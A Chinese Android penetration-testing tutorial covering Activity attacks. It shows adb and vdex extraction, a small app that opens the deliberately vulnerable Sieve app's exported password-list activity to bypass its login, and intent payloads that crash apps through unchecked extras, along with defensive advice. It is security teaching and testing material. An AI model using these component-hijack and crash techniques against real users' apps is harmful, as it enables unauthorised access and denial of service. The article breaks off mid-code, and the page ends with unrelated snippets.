android app渗透测试-Activity、Service

2023-11-06

Android App中可能出现的安全漏洞的类型:

  1. 协议——通信协议(本地、网络),协议大部分是由C/C++实现,存在以下安全问题:通信数据引发的逻辑漏洞;通信数据引发的缓冲区溢出等可能导致远程代码执行/拒绝服务的代码漏洞。
  2. 组件安全——Activity,Service服务,Content Provider内容提供者,BroadcastReceiver广播接收器中可能存在的安全问题,其中最主要的就是intent组件通信导致的拒绝服务/越权漏洞。
  3. 开放端口——可通过命令查看各APP运行时存在的开放端口,然后去逆向分析APP查看其在此开放端口上进行的操作,从而找寻可能的漏洞。
  4. IPC(进程间通信)安全——同1。
  5. 文件读写安全/数据加密安全——Android平台上的隐私泄露也是一个值得关注的攻击面。

在这里插入图片描述

在这里插入图片描述

思维导图来源

获取apk源代码

通过adb获取android系统应用或者第三方app:

adb shell pm path app包名
adb pull apk路径

如果是系统应用,可能因为优化,源代码不在apk文件,而是在vdex文件中:

  • vdex是dex代码直接转化的可执行二进制码文件
  • 第一次开机就会生成在/system/app/<packagename>/oat/下;
  • 在系统运行过程中,虚拟机将其从 /system/app 下copy到/data/davilk-cache/
  • 通过vdexExtrator可以将vdex转成dex,然后继续进行分析

关于vdex更多知识

例子:

下图是Genymotion模拟器中蓝牙系统应用的vdex文件路径,比一般的安卓系统相比把arm换成了x86

在这里插入图片描述

拉取vdex到本地:

在这里插入图片描述

vdexExtrator使用

在kali里面安装编译vdexExtrator中的工具,转化vdex为dex,下图适用于Android9以上的情况

在这里插入图片描述

在这里插入图片描述

将Bluetooth.apk拖入JEB中查看Manifest文件:

在这里插入图片描述

将Bluetooth.dex拖入JEB中查看源码:

在这里插入图片描述

观察清单文件

这些组件会在apk的AndroidManifest.xml中声明,需要重点关注可导出的组件:

  • 具备exported=true属性的组件
  • 配置了intent-filterservice默认是可导出的

这些组件会直接对外提供服务,容易直接受到攻击

  • 要重点看这些组件的permission,是否第三方app可调用,还是仅系统进程可调用
  • 如果没对调用进行权限限制或者是没有对调用者的身份进行有效的验证,那么恶意构造的APP都可以传入恰当的参数进行调用,导致恶意的行为发生,比如说调用具有system权限的删除卸载服务删除卸载其他应用

防护方面可以将android:protectionLevel从normal提升到dangerous、signature,组件权限设置参考

Activity漏洞挖掘

Activity越权漏洞示例

例子:sieve.apk

例子下载以及相关知识详见

应用正常交互流程

Genymotion打开应用,交互顺序如下:

首先要求输入密码:

在这里插入图片描述

在提交password之后,再输入pin:

在这里插入图片描述

然后要求输入刚才的密码:

在这里插入图片描述

点击登录后,可进入“Your Passwords”页面:

在这里插入图片描述

JEB反编译查看攻击面

可以知道包名为com.mwr.example.sieve

可以看到除了启动activity之外,还有两个activity导出为true

在这里插入图片描述

实现越权绕过

使用adroid studio编写testseive应用,直接调用导出activity,实现越权绕过

// 要调用的包名
String mPackageName="com.mwr.example.sieve";
// 要调用的activity
String mActivityName="com.mwr.example.sieve.PWList";
Intent intent=new Intent();
intent.setComponent(new ComponentName(mPackageName,mActivityName));
// 启动intent
startActivityForResult(intent,1);

在这里插入图片描述

构建并运行testseive应用,可以看到能够直接进入“Your Passwords”页面,实现越权绕过

在这里插入图片描述

防护策略
  • 私有Activity不应被其他应用启动,创建activity时,设置exported属性为false
  • 公开暴露的Activity组件,可以被任意应用启动,需要谨慎处理接收的Intent,不应发送敏感信息,收到返回数据谨慎处理

Activity拒绝服务攻击

参考链接

NullPointerException

源于程序没有对getAction()等获取到的数据进行空指针判断,从而导致空指针异常而导致应用崩溃

漏洞应用代码片段:

Intent i = new Intent();
if (i.getAction().equals("TestForNullPointerException")) {
   
    Log.d("TAG", "Test for Android Refuse Service Bug");
}

攻击应用代码片段:

不提供action,直接启动activity就可以导致崩溃

adb shell am start -n com.alibaba.jaq.pocforrefuseservice/.MainActivity
ClassCastException示例

源于程序没有对 getSerializableExtra() 等获取到的数据进行类型判断而进行强制类型转换,从而导致类型转换异常而导致应用崩溃

漏洞应用代码片段:

Intent i = getIntent();
String test = (String)i.getSerializableExtra("serializable_key");

攻击应用代码片段:

Intent i = new Intent();
i.setClassName("com.example.unsafe", "com.example.unsafe.MainActivity");
i.putExtra("serializable_key", BigInteger.valueOf(1));
startActivity(i);

先启动漏洞app,再启动攻击app,漏洞app就会crash:

在这里插入图片描述

可以看到android studio中的类型转换报错:

在这里插入图片描述

IndexOutOfBoundsException

源于程序没有对 getIntegerArrayListExtra() 等获取到的数据数组元素大小的判断,从而导致数组访问越界而导致应用崩溃

漏洞应用代码片段:

Intent intent = getIntent();
ArrayList<Integer> intArray = intent.getIntegerArrayListExtra("user_id");
if (intArray != null) {
   
    // 没有对intArray大小进行检验
    for (int i = 0; i<10; i++) {
   
        intArray.get(i);
    }
}

攻击应用代码片段:

Intent i = new Intent();
i.setClassName("com.example.unsafe", "com.example.unsafe.MainActivity");
ArrayList<Integer> user_id = new ArrayList<Integer>();
i.putExtra("user_id", user_id);
startActivity(i);

android studio报错:

在这里插入图片描述

ClassNotFoundException

源于程序没有无法找到从 getSerializableExtra() 获取到的序列化类对象的类定义,因此发生类未定义的异常而导致应用崩溃

漏洞应用代码片段:

Intent i = getIntent(
本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系:hwhale#tublm.com(使用前将#替换为@)

android app渗透测试-Activity、Service 的相关文章

随机推荐

  • c 语言让两个数组合并,C 语言,将两个数组合并到另外一个数组中,并且合并之后的数组是有序的。...

    int a 10 0 int b 10 0 int c 20 0 printf a数组为 for int i 0 i lt 10 i a i arc4random 40 20 1 1 为数组生成随机元素 printf d a i print
  • 页面上下左右滑动事件

    1 下载插件 npm install vue touch next S 2 main js加入以下代码 import VueTouch from vue touch Vue use VueTouch name v touch VueTouc
  • Kotlin的型变解析(协变、逆变和不变)

    一 首先来看一个例子 import java util author wangdong description 型变 fun main args Array
  • linux运维面试题1

    一 填空题 1 在Linux 系统 中 以文件方式访问设备 2 Linux 内核引导时 从文件 etc fstab中读取要加载的文件系统 3 Linux 文件系统中每个文件用indoe节点来标识 4 全部磁盘块由四个部分组成 分别为引导块
  • 大数据(七):Pandas的基础应用详解(四)

    专栏介绍 结合自身经验和内部资料总结的Python教程 每天3 5章 最短1个月就能全方位的完成Python的学习并进行实战开发 学完了定能成为大佬 加油吧 卷起来 全部文章请访问专栏 Python全栈教程 0基础 再推荐一下最近热更的 大
  • 统计学的基本概念

    转 浅谈协方差矩阵 一 统计学的基本概念 统计学里最基本的概念就是样本的均值 方差 标准差 首先 我们给定一个含有n个样本的集合 下面给出这些概念的公式描述 均值 标准差 方差 均值描述的是样本集合的中间点 它告诉我们的信息是有限的 而标准
  • QT5.15在线安装下载速度慢的解决办法(包括qt6.0beta版)

    下载加速需要使用清华源QT地址 QT软件清华源地址 https mirrors tuna tsinghua edu cn qt一 安装代理软件Fiddler5 1 安装并打开Fiddler5 软件自动启用代理 Fiddler5软件百度搜索
  • 张筑生老师:真正的教授,学术的典范,应该给这类人最好的环境

    今日 偶然浏览一篇博客 张老师的朋友王恳先生博文 关于张筑生老师的 很受感动 张老师已然离去 但其 把数学作为宗教信仰 的观点 以及其勤奋 踏踏实实的做事风格 相信可以影响一批批人 不仅仅是做数学研究的人 中国应该还再多一些像张老师这种人
  • javaweb响应内容类型分析工具(tomcat)

    javaweb响应内容类型分析工具 tomcat 文章目录 javaweb响应内容类型分析工具 tomcat 前言 一 tomcat目录下的配置 二 生成工具 总结 前言 在模仿spring的MVC时 发现返回类型需要设置 不然默认返回te
  • socket阻塞与非阻塞,同步与异步、I/O模型

    socket阻塞与非阻塞 同步与异步 作者 huangguisu 1 概念理解 在进行网络编程时 我们常常见到同步 Sync 异步 Async 阻塞 Block 非阻塞 Unblock 四种调用方式 同步 所谓同步 就是在发出一个功能调用时
  • 使用addr2line 打印调用栈信息调试程序崩溃

    首先参考 https blog csdn net gongmin856 article details 79192259 接下来是我复制下来的代码 命名ttt c include
  • 虚拟机(VM)监控工具

    什么是虚拟机 VM 监控 虚拟机监控是监视在虚拟化环境中创建的各个虚拟机和 VM 的过程 使用虚拟机监控软件 您可以查看可用性状态 性能统计信息并管理连接到主机的虚拟机及其相应的来宾虚拟机 虚拟机监控有什么作用 在主机上安装时 虚拟机监视器
  • 【华为OD机试真题 JAVA】找朋友

    JS版 华为OD机试真题 JS 找朋友 标题 找朋友 时间限制 1秒 内存限制 262144K 语言限制 不限 在学校中 N个小朋友站成一队 第i个小朋友的身高为height i 第i个小朋友可以看到的第一个比自己身高更高的小朋友j 那么j
  • java.lang.IllegalStateException: Found multiple @SpringBootConfiguration annotated classes

    问题 今天写SpringBootTest测试的时候 一直报java lang IllegalStateException Found multiple SpringBootConfiguration annotated classes Ge
  • cpu 最佳线程数和QPS以及RT

    最近在关注性能的事情 所以对于多线程程序中 如何设置最佳的线程数 找了一些文章 虽然有公式可以套用 但是 其实最佳的话只是相对的 了解了过程之后 处理线程数的设置就会游刃有余了 名字解释 1 QPS 系统每秒处理的请求数 query per
  • Maven项目中pox.xml文件报错以及项目编译错误

    我用Eclipse开发Maven项目 本来好好的 但是后来莫名其妙的其中pom xml文件报错 后来执行install命令时又编译不通过报错 我痛苦地摸索了一整天 最后才把问题解决了 虽然问题解决了 但我也不知道问题症结所在 不知道所以然
  • Redis远程字典服务

    目录 前言 1 NoSQL 1 1NOSQL和关系型数据库比较 1 2非关系型数据库的优势 1 3关系型数据库的优势 编辑 2 主流的NOSQL产品 键值 Key Value 存储数据库 列存储数据库 文档型数据库 图形 Graph 数据库
  • 2015无盘服务器配置,2015年度初级会计资格无纸化考试考场设备配置及网络环境要求...

    2015年度初级会计资格无纸化考试考场设备配置及网络环境要求 1 网络要求 1 网络交换机应是主流产品 稳定可靠 2 考点互联网接入网络带宽应达到5M独享或光纤接入 3 局域网100M到桌面 网络稳定 顺畅 4 考场配备一台能够连通互联网的
  • php 时间 当前月份、上个月、下个月等的第一天和最后一天

    一 在我们的日常开发中 要用到统计某个时间段的数据 而特定的时间点需要我们用程序来获取 比如说要统计上个月的数据 则需要知道上个月开始时间和结束时间 php要获取时间需要用到的函数 time date strtotime 等等 strtot
  • android app渗透测试-Activity、Service

    Android App中可能出现的安全漏洞的类型 协议 通信协议 本地 网络 协议大部分是由C C 实现 存在以下安全问题 通信数据引发的逻辑漏洞 通信数据引发的缓冲区溢出等可能导致远程代码执行 拒绝服务的代码漏洞 组件安全 Activit